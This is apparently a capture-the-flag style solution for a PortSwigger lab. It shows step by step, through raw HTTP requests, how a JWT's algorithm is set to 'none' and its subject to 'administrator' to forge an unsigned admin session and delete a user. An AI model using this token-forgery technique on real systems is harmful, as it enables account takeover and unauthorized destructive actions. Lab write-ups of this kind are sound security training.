Skip to content

Port Swigger JWT authentication bypass via flawed

JWT authentication bypass via flawed signature verification

Solution

Login as user: wiener

POST /login HTTP/2
Host: 0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Referer: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=hJzJYTX3kNaczaxdEWyxaw88hps37S7s&username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoid2llbmVyIn0.fehII6y9q1ZevvDYN8dqvIW9qzbN1L2gU1-WTkb1xjrNM6NuOwFDiN8fX5wE4dw2fyBriVkNOd_krnlN_4VqUTKZB88k3BM8hRweVdjd_3xfR-wJynkVW2Sr3O9lj4JBtSMJ5WvXQb9DZ9Hq4oMdXJXZ_EXPHHS55cNthB9DEYBgl-zXGUoOoy5kpT-o-2ywskaAaZyJ8Qx1H9BrQFPe3vMzTTW1vBp7lzkksT9BknHNDDZVFXnoF5BvIBM0gIyaAv4j6tiTnQZFaSktQH7AMRCcdIlFw6BldNPhZZ9aiP8q61gzwtYvejUjc1qPvs5EDOw2syq_j2n1GMk34Eqkjg
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Edit JWT token

Copy and paste token to the website: https://www.jwt.io/
Change alg to "none"
Change sub to "administrator"
___
Old token: Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoid2llbmVyIn0.fehII6y9q1ZevvDYN8dqvIW9qzbN1L2gU1-WTkb1xjrNM6NuOwFDiN8fX5wE4dw2fyBriVkNOd_krnlN_4VqUTKZB88k3BM8hRweVdjd_3xfR-wJynkVW2Sr3O9lj4JBtSMJ5WvXQb9DZ9Hq4oMdXJXZ_EXPHHS55cNthB9DEYBgl-zXGUoOoy5kpT-o-2ywskaAaZyJ8Qx1H9BrQFPe3vMzTTW1vBp7lzkksT9BknHNDDZVFXnoF5BvIBM0gIyaAv4j6tiTnQZFaSktQH7AMRCcdIlFw6BldNPhZZ9aiP8q61gzwtYvejUjc1qPvs5EDOw2syq_j2n1GMk34Eqkjg

New token: Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
---
GET /admin HTTP/2
Host: 0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Delete user: carlos

Open website: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/admin
with a new token: Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
___
GET /admin HTTP/2
Host: 0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
Open website: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/admin/delete?username=carlos
___
GET /admin/delete?username=carlos HTTP/2
Host: 0a8e0058049334ca800c8a3900d7002c.web-security-academy.net
Cookie: session=eyJraWQiOiI2YWM5M2QzNy1mNzEzLTQxNzctODU4MC0zZGE5Nzg0NjgyNGIiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTg4NjMwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8e0058049334ca800c8a3900d7002c.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved